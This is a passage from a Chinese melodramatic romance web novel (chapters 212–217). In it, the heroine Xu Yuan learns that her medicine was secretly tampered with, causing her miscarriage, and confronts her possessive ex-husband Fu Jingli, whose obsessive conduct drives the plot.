车子再度撞过去时,陆斯年和薛酒的车子方才开过来,陆斯年的车横在她和傅京礼的车之间,许愿却已经克制不住车子撞过去,陆斯年的车被撞的倒退几步,许愿终于恢复了些许理智。 她额头满是汗水,手不由得收紧。 陆斯年已经下车踱步到许愿面前,他没有抱怨,甚至眼神都是温柔的,他透过车窗望向许愿,声音温柔得像是在哄她。 “阿愿,先下车。” 他清楚,今天一整天许愿的心都是紧绷的,她表面看着平静甚至还笑着去参加许氏的股东大会,但其实她一直在等那一通电话,她想救盛景炎。 可她没能等到盛景炎,最后一层心理防线也因此彻底崩塌。 她完全控制不住情绪,只想要发泄报复。 他必须让她下车,傅长海是罪人,但……法律会制裁他,他们不能为此直接给他定罪,为此赔上自己一辈子。 他不配。 陆斯年向她伸出手:“阿愿,你不是想知道盛景炎在什么地方吗,傅长海就在这里,你有什么话随时可以问他,他需要活着才能回答你的问题不是吗。” 他额头也在冒着冷汗,他很担心许愿现在疯到连自己的话都不听。 许愿像是整个人愣在原地,她好像是在思考。 她终于下车了,陆斯年算是松了口气,许愿双腿一软,险些栽到地上,陆斯年眼疾手快的握住她的手臂将人拉拽到自己身边。 触手的肌肤火热滚烫。 她在发烧。 她的身体已经非常虚弱了,这次也是因为发烧才会愈发的情绪不稳。 “阿愿,你生病了,我们去云尚,好不好。” 陆斯年低头询问她。 他没有直接做下决定,这种时候他还在等待许愿的回应。 许愿眸光微微闪烁,她抬起头,望向陆斯年,眼神都带着点模糊像是染带着泪意。 她摇了摇头。 “我没生病,我很想盛景炎。” 她的话似乎都已经说不明白说不清楚了,她是真的生病了。 第212章 后悔 她跌跌撞撞的走到傅长海面前,陆斯年随着她移动,许愿半蹲下身,看着此刻满身是血的傅长海,那双本来带着泪意的眼睛已经尽是寒冰。 “他在哪里。” 她嗓音沙哑,又一次重复:“他在哪里。” 傅长海哈哈哈的笑了几声,然后咬牙切齿:“许愿,你这么厉害你不会自己去找吗?” “盛景炎背着你暗地里不知道有多少红颜知己,没了你一样有别的人去救他,他根本就不需要你。” “什么相互救赎,最后感动的只有你自己。” 傅长海嘲讽:“为了那样一个浪子动真情,愚蠢,可笑!” 许愿眼神平静不带半分波澜的听着他口出狂言,一直到傅长海疯够了,许愿才声音很淡很轻的开口:“你动他,我会动傅嘉誉。” “我看你是真的疯了!我们之间的矛盾你为什么要上升到嘉誉身上!” “嘉誉一直拿你当朋友她当你是最好的姐妹!你怎么能说出这种畜生不如的话!” 傅长海真正在意的软肋只有傅嘉誉。 他自己可以得不到傅家的财产,他也可以没有那惊天的财富,但他的女儿必须要得到一切,他希望他的女儿是世界上最尊贵的人。 他这样辛苦拼命,全都是为了傅嘉誉。 许愿垂眸,眼神冰冷的看他。 “既然你什么都懂,为什么要动盛景炎。” “你想要全息,想要3D,你可以自己组建科研团队,可以跟我谈合作,有千千万万种正常的方法你不去用,为什么要像阴沟里的老鼠死死盯着我,去抢去夺,做尽丑事触犯法律的伤害我的爱人亲人。” “你都可以做的事,凭什么我不可以。” 傅长海目光错愕,他敢做这些就是仗着许愿跟傅嘉誉关系好无论如何绝不会动傅嘉誉,可若是连累到傅嘉誉,他是真的会慌。 他做一切都为了傅嘉誉,如果傅嘉誉为此受伤他做一切还有什么意义。 “所以,你该告诉我盛景炎在什么地方了。” 说到底,许愿还是想知道盛景炎被困在什么地方。 她大费周章做到这一步,只想接他回家。 “我真的不知道盛景炎在哪里。”傅长海哑着嗓子开口。 “离开前我没有带走他,他就在别墅的地下室。” 傅长海话还没有说完,许愿冰冷的声音已经打断他的话。 “我没有找到他。” “这不可能!他的腿都已经断了还能逃到哪里去!那么短的时间内他一个废物能跑到哪里去!他肯定还在那里!” 傅长海不敢置信的叫喊出声。 许愿却因为他此刻开口的话身体都在抑制不住的发抖。 腿断了…… 盛景炎的腿断了? 因为这场车祸吗。 许愿那双平日里波澜不惊此刻却赤红的眼瞳裹挟着无尽的恨意,她咬着下唇望着面前的罪魁祸首。 “傅长海,你也会成为废物。” 许愿盯着他,突然很轻很轻的笑了。 “你会断掉双腿成为废物,然后一点一点失去你所拥有的全部。” “记住我今天说的话。” 许愿站起身时身体微微踉跄,陆斯年立刻上前一步扶住她,她能感受到自己的头疼得厉害,眼前也有些模糊。 但她还是站在原地,执拗的望着傅长海,撂下最后一句狠话。 “我说到做到。” 话落,许愿再没看傅长海和傅京礼一眼。 她回到车上便已经承受不住的靠在椅座上,她浑身烫得厉害,微闭上眼眸就是盛景炎倒在血泊中的画面,每次闭上眼睛都会因为这副场景被再度惊醒。 睁开眼眸的瞬间,对上车窗外男人漆黑幽深的瞳仁。 傅京礼在看她。 从她下车开始傅京礼就一直在看他,她在忽略他无视他,她满心满眼都是盛景炎,若是以往的许愿,一双眼只会跟随他移动,而不是像现在完完全全将他当做背景板然后告诉他,你不配。 他站在原地,额头在渗血,手臂也有擦伤,鲜红的血染红了他身上的白衬衣,刺目亮眼。 换作以前,她会担心的冲过来陪他去云尚,或者亲自为他包扎伤口,她会细心的告诉他很多注意事项,她会为他分担工作做好工作排期…… 可现在,她完完全全的略过他。 她已经只在乎盛景炎了。 许愿抬眸,对上傅京礼那双凉薄的黑眸,她微微抿唇,然后移开眼,她甚至不会多说一句关心的话。 是的。 她已经完完全全不在乎傅京礼了。 从离婚那天就该这样做,前夫前妻要什么深厚感情。 “傅京礼,你这样在乎你的好大伯,那就看你能不能护住他这双腿了。” 话落,车窗已经摇上。 车子已经开远。 他就站在原地静静地看着。 朦胧夜色下,早已看不到她的身影。 一切如他预想的那般发展,盛景炎被废了,消失了,她该崩溃,然后义无反顾的转身回头,重新回到傅氏,回到他身边。 而不是像现在这样与他渐行渐远。 他喉头发堵,眼神愈发晦暗。 她好像,真的不爱他了。 从未像此刻这样清楚的感知到许愿对盛景炎那般赤诚热烈的爱。 她的爱从来都是毫无保留,曾经他不要的现在想抢回来的她却已经不肯再给了。 他掩藏不住眼底的自嘲,抬手触到额角还在不停渗血的伤口,看到指尖温热的鲜血。 恍恍惚惚仿佛还能透过夜幕看到她当初的身影。 “傅京礼,你要照顾好自己啊,不要总是让自己受伤。” 这个时候的许愿就像是那三年的许愿。 她望向他时眉眼温润,唇角带着如水的柔意,眼底的柔情毫不遮掩。 他想回一句好,却倏然发现一切仿佛都是幻想。 眼前没有温柔关心他的许愿,只有燥热却四处透着冷意的夏夜。 …… 回到云尚,许愿身体的热度还是没有降下来,江惊蛰特意赶过来给她挂了水,看到她这么多天还未回复,心已经沉下去。 “不该这样。” 江惊蛰皱眉:“她情况不对,等明天醒过来我必须给她做个全面的身体检查。” 第213章 药出了问题 检查结果出来,江惊蛰看着报告整个人眉头紧皱。 他给许愿开的药有补血的,但许愿的身体明显越来越虚弱,像是失血过多的症状,甚至……大脑像是经受刺激若是再加以刺激很可能转变成躁郁症狂躁症。 最近许愿行事作风确实越来越疯狂完全不够理智。 为什么会变成这样? “你最近都吃过什么。” 江惊蛰眉头一直都是皱的,他现在急需知道许愿最近的食谱,到底是服用了什么才会让身体糟糕成这副模样。 而且……如果真的只是单纯的食疗,不该变化如此之快,让一个人的情绪在短时间内变得这般不可控。 “她最近一直都没有食欲,吃的都是你安排她的食谱,就是参加应酬都没有让她碰过一滴酒。”薛酒注意到江惊蛰的语气整个人也跟着认真起来。 “出了什么事。” 江惊蛰一时沉默,他翻看着自己开的药膳以及一早就熬制好的中药包材料,眼神却变得幽暗。 “我给你的那些熬制好的中药包应该还有几天份的,全都拿到云尚,我需要做一个全面的测试。” 如果许愿这段时间没有遭人暗算,那就只有可能是他这里出了错。 若是最初云尚就有了内鬼,那一切都能解释得通了。 薛酒已经听出江惊蛰画外音,脸色陡然变冷,立刻让人将许愿还没有喝完的药包全都带到云尚。 很快检测出药包里面含带的大量石英花和各类稀奇花种草药的成分,这些东西单拎出来都不会对人体造成什么伤害,但若是一起服用,会极大可能得逼退人的心理防线,不仅会让人变得越来越虚弱,甚至大脑混乱,扰乱人的心智,甚至会将人逼成疯子,特别是在这种时刻用药的人若是遭受刺激,会每日每夜的陷入这段噩梦中,分不清现实和梦境。 这些东西混在一起若是只吃一次可能没有多少效果,但这人明显加够了分量,三天时间就足够逼疯一个人 。 而这些药,许愿喝了这么久…… 这些药是什么时候开始被人替换的,是许愿流产前还是流产后。 江惊蛰看着这份报告,眼底的郁色愈发深沉。 他本以为自己的云尚算是安全屋是他自己的领地,没想到还会有人的手伸进云尚。 看到江惊蛰陡然变换的眼神,薛酒和陆斯年都觉察出不对了。 “是你的药出了问题对不对!” 薛酒克制不住自己的情绪。 他就知道! 许愿从来不会这样疯,她那样冷静克制的人,当初在国外为了那份合同被人逼成那副模样都没有崩溃,这次哪怕她如何在乎盛景炎都绝对不会拿自己的声誉和未来去做赌注开玩笑。 她就像是完全失去理智,几近癫狂。 这根本就不是他认识的许愿。 “我会查清楚,给你们一个交代。” 江惊蛰嗓音沙哑,他目光晨晨的落到仍然陷入昏睡的许愿,他给许愿打了镇定剂才让她真的陷入沉睡。 薛酒心中愤恨:“这次不需要你们云尚的医生护士来看护她,我们会安排人来照顾好她。” 薛酒那张脸上尽是冷意:“让你的人离她远些。” 他嘲讽:“和傅京礼一起的人,果然没有什么好东西。” 薛酒此刻仍然控制不住自己内心的恨意。 “你最好能查清楚这次的事,否则我一定会让你付出代价,到时云尚还能不能开下去就要另说了。” 薛酒是个什么性子的人? 他一直都挺疯的,他是混血,母亲是国外的舞娘,父亲是一位豪绅,因为出身卑劣所以出生后不久就被丢到孤儿院,他出生就深陷泥潭,不停向上爬却因为他背景还算雄厚的父亲被人奚落嘲讽,甚至因为那张脸被亲生父亲骚扰。 他跌跌撞撞好不容易长大想要追求自己新的人生,却发现处处都是他那渣滓父亲的痕迹。 是许愿给了他一个选择的机会。 她亲自带着他一起奔向高处俯瞰众人,对他来说,许愿是亲人一般的存在。 伤害许愿比伤害他更严重。 他甚至愿意承认自己是许愿豢养在身边的一条疯狗爷一定要为许愿讨个公道。 陆斯年全程脸上淡漠不含半分笑意的看着眼前这一幕,他看着薛酒如此激动冷嘲热讽却根本不去阻止。 他和薛酒的想法相同。 “江医生,我们时间不多,还请尽快。” 究竟会是谁做的? 他们根本不清楚,他们甚至猜到是不是许愿作为盛华背后真正掌舵人的身份暴露了,那些人想逼着她不能参加金融峰会所以才使出这些下作手段。 如果是因为金融峰会,那做这件事的人就太多了。 盛家人、许家人、远程的人,乃至曾经合作过的对象都是有可能的。 陆斯年头痛的捏了捏眉心。 如果许愿现在足够清醒,她应该自己能猜出幕后之人。 许愿在云尚出事,云尚近期所有的监控都被调出,许宁继父笑呵呵的带领新来的医生并在药包中添加了另类药材的视频全都被曝光。 她的继父起初还是小心谨慎,在做了几次都没被人查出后胆子更大了,后来直接大摇大摆的让人按照自己开的药方熬制中药包。 江惊蛰眸光愈发晦涩。 他让许愿来云尚住是希望用自己的能力护住她,而不是让她在自己的领地遭受到伤害。 他喉咙发堵,脑中突然闪过一个不敢置信的可怕想法。 许愿那次车祸流产……流产的原因真的是那场车祸吗。 有没有可能车祸只是幌子,在那之前许愿就已经喝了被加料的药包。 “监控继续往前调。” 助理继续调取监控,他终于看到了那段录像。 听到傅京礼对许宁说许愿怀了她的孩子。 那时傅京礼不是以为许愿的孩子是盛景炎的吗? 他为什么要这样说?为什么要让许宁知道这些,他明知道许宁嫉妒许愿,他明知道许宁想嫁给他…… 等等! 许宁难道不就是被他利用的那颗棋子吗? 第214章 我在等你回来 许宁在其中到底是什么作用。 许宁那般爱傅京礼,她不会容忍傅京礼身边有其他女人,尤其不能容忍许愿诞下傅京礼的孩子,所以他什么都不必做,只需要将消息透露给许宁许宁就会摆平一切。 所以许愿小产是因为那份药。 一次达成目的,她的胆子渐渐大起来。 她嫉恨许愿的一切,她想让她悄无声息的变成疯子然后身体越来越虚弱,像是开败的花朵一样寂静的死去。 在许宁心中许愿和她一样是许镇江的女儿,凭什么许愿就能够得到一切,占到最高点被那么多人在意看重,而她永远要躲在阴暗角落无法出头,最在乎的男人爱着的人也是她。 仇恨挡住了她所有的目光,她的恨让她的胆子越来越大。 在她心里,只要许愿死了,就不会再有人继续拿她跟许愿作比较,一切都会好的。 她就是这样想的。 江惊蛰看着这段录像,脸色却越来越难看。 傅京礼利用许宁达到了他的目的,许愿小产,但他能猜到许宁疯到这种程度只为了除掉许愿吗。 他就算想瞒也瞒不住,这些监控录像,薛酒全部都有备份了。 薛酒不会瞒着许愿,他是许愿的人,他会将一切全部告诉许愿。 许愿已经醒了。 她的手几乎在很轻微的颤抖着触摸着手机屏幕,她的身体真的很虚弱,头昏昏沉沉的,此刻根本无法控制住自己的情绪。 她甚至觉得自己像是跳进黑洞漩涡周围都是混沌黑暗。 “傅京礼,我们见一面。” 最终,她拨通了傅京礼的电话,嗓音带着几许沉静后的凉薄。 她以为她和傅京礼之间的事情都说得很清楚了,但显然傅京礼直到现在都没有真正接受他们彻底分开的事实。 他还在将她看做他的所有物。 她想把一切都说开。 如果傅京礼还有点在乎她,如果傅京礼也曾经期待过他们两人的孩子,那她这次也一定会告诉他真相。 她那样痛苦过,她要让傅京礼一起痛苦。 “你可以回我们的公寓。” 傅京礼有些不平,他已经想过很久,从许愿离开他无时无刻希望许愿回到他们的婚房。 许愿垂下眼睫,她淡淡的嗯了一声。 其实现在约在什么地方见面已经并不重要了。 “我会去的。” 许愿挂断电话,她靠在病床上,握着手机久久未能回神。 片刻后,目光转到薛酒脸上:“送我过去吧。” 她知道薛酒在听他们的对话,她眼睫很轻的颤了下。 公寓距离云尚并不算太远,十几分钟的车程。 许愿远远的便能看到公寓整层灯都是亮着的,周围都是熟悉的风景,还有住在这边的人看到她回来眸光微微闪了下想要上前咨询一些讯息,被薛酒和跟在身后的保镖拦住。 许愿抬头,清晰的看到男人站在落地窗前,即使隔着这样远的距离,似乎都能感受到男人眼底藏着的淡漠疏离。 “我自己上去,你在下面等我。” 薛酒和陆斯年都陪在她身边,他们知道许愿现在身体虚弱情绪不稳,很担心傅京礼会伤到她。 “阿愿,我们担心你会出事。” 许愿很轻很轻的摇头回应陆斯年。 “他不会了。” 许愿喉间溢出很轻微的笑意,像是自嘲又像是单纯的嘲讽傅京礼。 “他爱上我了。” 她像一个愚蠢的看客,能明显感知到傅京礼对自己深沉的爱意,只是他的爱与她的爱不同,她的爱是奉献自己献祭自己,那傅京礼的爱就是掠夺、占有、伤害。 她坐在轮椅上,由着薛酒推行至电梯,公寓的佣人已经等候多时,看到她立刻毕恭毕敬弯腰唤她:“夫人,欢迎回家。” 没有纠正佣人保姆错误的说法,她由着对方带自己回到居住了三年的公寓。 门开了。 佣人关上门后迅速撤离。 许愿抬头环顾四周,和她离开的时候没有任何分别,还是那副模样。 沙发上摆着她曾经放的毛绒玩具,桌面上放置着她当初一定要买的情侣杯子,椅子是同款的,水晶灯是她自己亲手设计的,甚至客厅墙壁的壁画都是她为了迎接新生活一笔一笔画上去的。 一切,都记录着她存在过的痕迹。 为什么不换掉这些呢,为什么还要留着这些呢。 是认为她迟早有一天还会回来这里吗。 许是觉得头顶的灯光太过绚烂刺目,许愿抬起手遮住自己的眼,喉头微微发堵。 “我在等你回来。” 男人从书房走出来,他打开酒柜取出一瓶红酒。 他额头的伤痕还很明显,但他却好像全然不在意的忽略了被许愿开车撞出的伤。 “你最爱喝的铂澜红酒,要来一杯吗。” 傅京礼已经在醒酒,他似乎并没有想着许愿会回答他,已经将红酒倒进杯中推至她面前。 他目光落在许愿的身上,他真的已经很久很久没有能够这样全心且认真的看她了。 曾经她一直陪在身边,稍一转身就能看到许愿含笑温和的眉眼。 可如今,他看到的只余冰冷。 但即便她是这样的眼神,他仍然会觉得看不够,甚至贪婪的想要得到更多。 “今天怎么没有穿你最爱的红色礼裙。” 她身上的衣服有些厚重,一席白色的长裙衬得她整个人有些弱不禁风,脸色是苍白的,唇瓣仍然是粉色的,整个人都带着几许病容,却仍然美得像是一幅淡淡的风景画。 她坐在轮椅上,整个人都失了几分色彩。 他了解她的,她不该是这样淡淡的模样,她该是热烈的疯狂的,应该像是那些能留下浓墨重彩的油画又或者泼墨那般,而非此刻这样。 “最近傅氏旗下的高定礼服品牌出了新的礼服,我让他们按照你的身材都给你留了一件,其中有你最爱的红色礼服。” “你要换上吗,我想你穿上那件红色礼服会很美。” 公寓内的陈设他一直没有变,好像离婚那天他就想过许愿迟早有一天是会重新回到他身边的。 第215章 傅京礼,那是你的孩子 傅京礼此刻像是完全忘记了此前自己和许愿之间产生的矛盾。 仿佛他们之间没有经历过离婚、车祸各种事,好像他们还是夫妻关系。 太可笑了。 许愿想,真的是很可笑的一件事。 “傅京礼,你好像忘记我们之间产生的那些种种隔阂,需要我提醒你吗。” 许愿目光掠过那杯红酒,内心觉得嘲讽。 “还有,我才经历过小产,身体还在恢复期,不能碰酒。” 她开口提到“小产”两字,傅京礼眸色陡然变冷。 “不要再跟我提那件事。” “我以为你约我见面能来这里就是想明白了。” 他一步一步逼近许愿,俯下身,整个人都带着无尽的压迫感,许愿面上的表情没有任何变化。 她看着傅京礼,很轻很轻的嗯了一声。 “是想明白了。” 他们所谓的想明白,根本不是一个层面的“想明白”。 傅京礼认为的是许愿想明白了,她已经知道盛景炎变成废人所以不再对盛景炎和盛世抱有任何期待,她会重新回到傅氏回到这里回到他身边,她会继续是他的傅太太。 可许愿的想明白了……却是一切都看透了看清了。 因为已经不爱已经不在乎,所以可以完全毫无隔阂的来到这个他们曾经居住了三年的公寓。 她会心痛吗,心痛是有一些的,只是心痛自己浪费的愚蠢的三年时间。 是的,对傅京礼她其实也做不到心如止水,她是带着恨的。 “许宁是你布好的棋子吧。” 许愿抬眸,眼底都在闪烁着细碎的光芒,她唇角仍带着清浅的笑意,让人捉摸不透她此刻真正的情绪。 傅京礼眸光幽暗深沉:“既然决定回到我身边,他的孩子也不必再留。” 傅京礼低头,黑瞳逼视着她,手捏住她的下颌然后逐渐收紧用力。 “我可以原谅你婚内的背叛,以后我们会有更多的孩子,你应该清楚这才是你最好的选择。” 许愿像是感觉不到痛一样,抬眼,笑吟吟的望着自己眼前的男人,然后开口:“你对许宁说我怀了你的孩子是吗。” 傅京礼眸色阴沉。 “你知道我为什么这样说。” 许愿唇角的笑意弧度越来越大。 “对,我知道你为什么这样说。” 她眸光闪烁,然后逐字逐句问他:“傅京礼,你爱我吗。” 傅京礼眸光晦涩的盯着她,虽然没有回应,但沉默就已经说明了一切。 “你有想过我们会有孩子吗。”她又问。 傅京礼沉默许久方才嗯了一声:“如果我们有一个孩子,我会将他培养成傅家的继承人,继承我的一切。” 当然在乎她在乎他们的孩子,不然他这样利益至上的人怎么会说出将一切给他的话。 他从来都不是什么无私奉献的人。 许愿得到了自己想要的答案,她肩膀抖动的不停在笑,笑着笑着眼瞳赤红的流出眼泪。 “傅京礼,你亲自设计杀掉了你的继承人。” 她想,我那样痛苦,凭什么你害死了自己的孩子还能那般洒脱甚至觉得只是除掉了可有可无的东西。 凭什么呢傅京礼?你是罪魁祸首你是万恶之源你要跟着她一起痛苦才够。 傅京礼整个人在此刻仿佛已经陷入了茫然之中,他怔在原地,完全做不出任何回应。 他整个人已经僵掉木掉,大脑似乎完全不能转动,满脑子都在重复着同一句话。 “傅京礼,你亲自设计杀掉了你的继承人。” 什么叫做,他亲自设计杀掉了他的继承人。 他不懂,他不能理解。 假的,全都是假的。 “许愿,你在开玩笑。” 他嗓音沙哑的回应她:“这不是真的。” 许愿黑白分明的眼睛此刻十分亮眼,她望着傅京礼,启唇开口:“婚内我从没有背叛过你,我怀的是你的孩子,那个孩子他留着你我的骨血。” “傅京礼,那是我和你的孩子,与盛景炎无关。” 傅京礼大脑已经彻底卡壳,他死死盯着许愿,那双幽深的黑眸此刻已经没有了其它任何情绪,他不相信。 “我问过你,你说那是盛景炎的孩子!那怎么可能是我的孩子!” 她平静的流着泪看傅京礼发疯。 “因为我太了解你了。” “如果你知道那是我们的孩子,你或许会重新将我困到傅家,你会夺走我的孩子,逼着他继承家业。” “我和盛景炎早就计划好的,等孩子出生,我们会给他这世界上所有的我们没得到的爱,我的一切都会是他的,我想得多好啊……却怎么也想不到他的生父会如此狠毒。” “他就这样轻飘飘的一句话就能夺走他的生命。” “傅京礼,你痛苦吗,你后悔吗。”许愿咬着下唇,嗓音冰寒:“我这些天都沉浸在这样的痛苦之中,被噩梦缠绕。” “如果一切都是意外,如果只是意外……可偏偏一切都不是意外,是他的生父亲自将他扼杀。” “不可能……不可能……许愿你在骗我,你在报复我……” 傅京礼根本不能接受这一切,他嗓音都带着明显的颤意。 那个孩子应该是盛景炎的才对,为什么会变成他的。 是许愿的蓄意报复,他不相信。 “那个孩子是盛景炎的,不可能是我的。” 他握紧拳,完全不敢承认这样令人几欲心碎的真相。 “我们离婚前一个月我从没见过盛景炎,我们几乎二十四小时在一起参加会议晚宴,你告诉我,这个孩子会是谁的。” 多可笑。 那一个月她一直都陪在傅京礼身边从未离开,她那时和盛景炎才见过几面,孩子不是他的又能是谁的。 许愿压低声音,一字一顿轻缓的开口。 “傅京礼,那就是你的孩子。” 许愿将真相毫无遮掩的摆到他面前。 心碎吗,痛苦吗,傅京礼,那是你应得的。 傅京礼果然完全承受不住,他几乎克制不住的在摇头,黑眸里夹杂的全部都是痛苦的情绪,他不由得握紧手,眼底已经充斥着红血丝,压制不住自己的情绪。 第216章 你配不上我曾经的爱 他不敢去信许愿,当着许愿的面联系了江惊蛰。 别人不清楚,江惊蛰最清楚这一切。 得到准确的答案,手机已经从手中滑落摔到地面上发出清脆的碰撞声。 他几乎站不稳,整个人身体都在发抖,手握成拳都根本握不紧,他的眼底都是对自己的不确定和怀疑。 “我的、我的?” “为什么不是盛景炎的……为什么偏偏是我的?他怎么能是我的孩子?” 如果是他的孩子,那他做的一切算什么? 许愿歪着头,看着他此刻痛苦疯魔的模样,喉间溢出轻笑,哈了一声。 “对啊,他是你的孩子。” “你亲自设计害死了你的孩子。” “你这个杀人凶手,杀的是自己的孩子。” 她就是要在此刻一句一句掺着刺骨的冷意去伤害他,她知道他的内心已经满是创伤,可她就是要伤他更深,在他心口撒盐,然后一刀一刀私戳他的心。 许愿就这样眼神冰冷的看着面前的崩溃的男人,她垂下眼睫。 恍惚间仿佛还能看到小小的身影,然后逐渐消散。 傅京礼士真的在痛苦,他握紧拳,双目赤红,几乎是半跪在冰冷的地面上,握住她的手,瞳眸幽深的望着她:“许愿,我们还可以有很多孩子。” 他嗓音沙哑的带了诱哄:“许愿你知道的,盛景炎已经变成了废人,你现在找不到他,盛世同样在逼迫你,你重新回到傅氏回到我身边。” “傅太太的位置给你留着,我秘书的职位也会是你的,你重新回到我身边,我们还像以前那样。” “我们还会有更多的孩子,男孩女孩你想要什么样的我们都会有的。” “只要你回来。” 他语气都带着几分癫狂之意。 他亲自毁掉了自己的孩子,那个孩子已经消失了,可许愿还在啊。 只要许愿回到他身边,他们还可以有更多的孩子! 许愿低头,垂眸。 目光落在自己被傅京礼死死握住的手上,男人握得很用力,手背青筋凸起。 许愿抽回自己的手,然后几乎是用尽全力甩到男人的脸上,即便是用了全部的力度,也只能听到很轻的巴掌声。 “那可能是我唯一的孩子。” 许愿眼睫轻颤。 “你以为我为什么要坐在轮椅上见你,我生病了。” 她开口:“我不会再有孩子了。” 当初知道自己怀了傅京礼的孩子她想过打掉,是江惊蛰告诉她打掉这一个孩子会伤害到她本就虚弱的身体。 可这个孩子没能保住,身体也越来越虚弱,病得越来越厉害。 她能感受到自己的大脑都是模糊的,她的情绪是不稳的,她什么都无法控制,她只想发疯只想报复。 她想,如果盛景炎在这里,她是不会这样的。 如果他还在,她会抱住她,他会亲吻她的额头亲吻她的唇角,他会陪着她,会安抚她。 她是真的、真的很想盛景炎。 许愿的话几乎是打破了傅京礼内心最后的幻想。 许愿看到男人破碎难耐的眼神,终于取出了早就准备好的那份资料。 “看看吧。” 许愿递到他手边。 “我的药被人加了东西,傅京礼。”她说:“我不会再有孩子了。” 又一次在他心理暴击。 男人飞速的翻看资料,等明白一切都是因为他对许宁说的一句:“许愿有了我的孩子”,他不敢置信。 当初他只是想让许宁设计掉那个孩子,他从没想过让许宁做多余的事。 傅京礼眼神闪烁,手上的力度逐渐加大,厚厚一沓资料已经被攥握出褶皱。 “没关系的,没有孩子也没事。”傅京礼声音沉沉:“傅家还有嘉誉,我们可以抱养嘉誉的孩子。” 他眸光幽暗。 “只要你回到我身边。” 许愿对上男人的黑眸,眼神平静毫不闪躲:“我是盛景炎的。” “他已经是个废人了!” 许愿轻轻摇头:“我是盛景炎的。” “许愿,你是真的疯了!” 许愿垂眸:“他出事那一刻我就已经疯了。” “傅京礼,我不会再属于你……唔……”话音未落,她已经被男人压制住堵住唇舌凶狠的吻过来,这个吻带着惩戒带着噬骨的缠绵带着思念又夹杂着无穷尽的痛苦和挣扎。 是亲吻也是惩罚,是抢夺也是占有。 他不想再听到她嘴巴里吐出盛景炎的名字。 她是他的,是他的!从来不该属于盛景炎! 许愿握紧拳浑身气的发抖,她想竭尽全力推开侵犯她的男人,却根本无法推开他,她用力咬破男人的舌尖,尝到了浓重的血腥气,可他仍然没有放开她,甚至带着报复的咬破她的唇角,血腥味愈发重了,直到许愿几乎无法呼吸,傅京礼才终于放开她。 他的手死死掐住她的脖子,眼底都是逼仄的狠意。 “你从来都不属于盛景炎,你只属于我。” “结婚也好,离婚也好,你都只能是我的。” 眼前的傅京礼,早就不是她印象中的他,眼前的傅京礼陌生又可怕。 唇角在痛,头也在痛。 许愿望着眼前发疯的男人,他像是完全没办法被束缚的野兽,可能随时暴起攻击自己。 她抬手擦拭着自己的唇瓣,触及被咬破的伤处疼得微微皱眉。 “傅京礼,我问你。” 她开口:“你知道许宁害了我,你要怎么对她。” 见傅京礼无法回应,许愿又带着嘲意的开口:“你知道傅长海伤害我,你要包庇他吗。” 一个许宁一个傅长海,会永远是她心上的刺。 傅京礼要如何抉择呢? 他沉默了。 许愿低头给薛酒发了条微信,让他上来接人,然后语气平静的开口。 “傅京礼,从头到尾你一直在伤害我。” “不论是离婚前还是离婚后,你永远都在维护许宁和傅长海,你说你在乎我却永远将刀插在我的胸口。” “我说我属于盛景炎,不仅因为我爱他,更因为这种情况他永远和我站在一起,将刀尖对外,永远不会对准我。” 许愿眼神冰冷。 “傅京礼,你配不上我曾经的爱。” 第217章 他们就该一直纠缠 薛酒闯进来时,正对上傅京礼漆黑冰冷的眼神,他目光凉薄掺带着几分挣扎之意,死死盯着薛酒。 “你说你爱盛景炎,那你告诉我,他又是谁。” 他在问薛酒。 许愿语气平淡:“不管他跟我是什么关系都已经跟你无关了。” “傅京礼,你记住。” 许愿离开前开口:“是你亲手害死了你的孩子,是你一昧的包庇让我终生不孕。” “你才是真正的罪魁祸首。” 许愿说得有错吗,她说得半点错处没有。 一直以来都是傅京礼的包庇,才导致傅长海有恃无恐,导致许宁一而再再而三的对她下手,若非傅长海,许愿不会被逼到如此地步。 许愿离开了,公寓再度恢复寂静。 傅京礼沉默的走到落地窗前,透过窗户看向窗外,看到她单薄瘦弱的身体坐在轮椅上,由薛酒推行着离开。 她是真的很虚弱,哪怕化了妆都能让人感受到她此刻的虚弱无力,唇色都是浅淡的,她整个人比三个月前瘦了一圈。 一切都是许宁做的。 傅京礼垂下眼睫,藏起晦深的黑眸。 一个是与父亲有血缘关系的傅长海,一个是曾经救过他的许宁,他不包庇又能如何,他还要如何做。 可是,从他真正做下选择后就代表他和许愿之间再无可能吗。 她明明是他的妻子…… 不行的,不管发生什么事,许愿都必须是他的爱人。 不管付出任何代价,他都必须让许愿回到自己身边。 傅京礼眼神幽暗,容浔一早就在二楼,此刻下楼显然已经知道发生了什么。 “接下来需要我怎么做。” 容浔提醒:“盛景炎已经被唐雅颂带走,要困住他吗。” 说到此,容浔谨慎道:“唐雅颂是被唐家人娇养着长大的,她可不是多好说话的人。” 唐雅颂,骄纵蛮横,却也足够阴险狡猾,能从国外知名高校提前几年毕业的女性,虽然不够理智,但智商已经足够碾压常人。 她一向不是多好说话的人。 傅京礼手中把玩着许愿曾抓到的娃娃,瞳眸难得闪过几许难掩的柔色,但听容浔提到盛景炎和唐雅颂眼底掠过冷意。 “她总不该是个蠢货。” “盛景炎心不在她身上,想跟盛景炎在一起只能困住盛景炎,以唐家的势力,不需要我们做任何事。” 只要中间不出变故,盛景炎只会被困在这里。 他离不开唐雅颂,许愿也摆脱不开她。 他们就该一直……一直纠缠在一起。 容浔离开后,公寓重新陷入一片寂静,傅京礼打开许愿曾经的衣帽间,里面堆满了各类华服,最多的还是红色的礼服和色彩鲜艳的礼裙。 那些红裙单独摆在一起,在灯光的照射下,华美奢侈耀眼。 然而他脑中闪过的却是离婚后参加晚宴遇到许愿那日,她决绝的剪碎那件红色礼裙,红色的碎片在静谧的黑夜纷纷洒落,像是她早已碎裂的心扉。 他仍记得那晚许愿望向他时破碎中带着几分决意的释然。 那件礼裙代表什么呢。 代表许愿想要跟他彻底分开的某种决心。 那么多年的感情,他怎么能轻易放手?她想离开,他就要给她离开的机会吗? 明明最开始是她先招惹了他。 一条红裙子,他可以给她很多条,用来弥补那天晚上的过错。 傅京礼举起手机,将房间内的所有红色礼裙拍下发到微博。 【傅京礼】:你的礼物。 如此简短的一句话,谁不知道代表的深意! 自从跟傅京礼离婚后,许愿参加各类宴会穿的礼服颜色几乎一直都是红色的,她甚至戴过红钻耳饰,但凡了解许愿的都该知道许愿喜欢红色了。 傅京礼在这种敏感时刻发了这条微博,不仅是在向盛景炎宣战更是在向许愿隔空示爱。 本来盛景炎车祸的事情才被压下去一些都在讨论热搜上明星的八卦了,现在却因为傅京礼这条微博,众人再度开始议论这段豪门三角恋情。 “天王老子来了傅总也是在跟许愿示爱。” 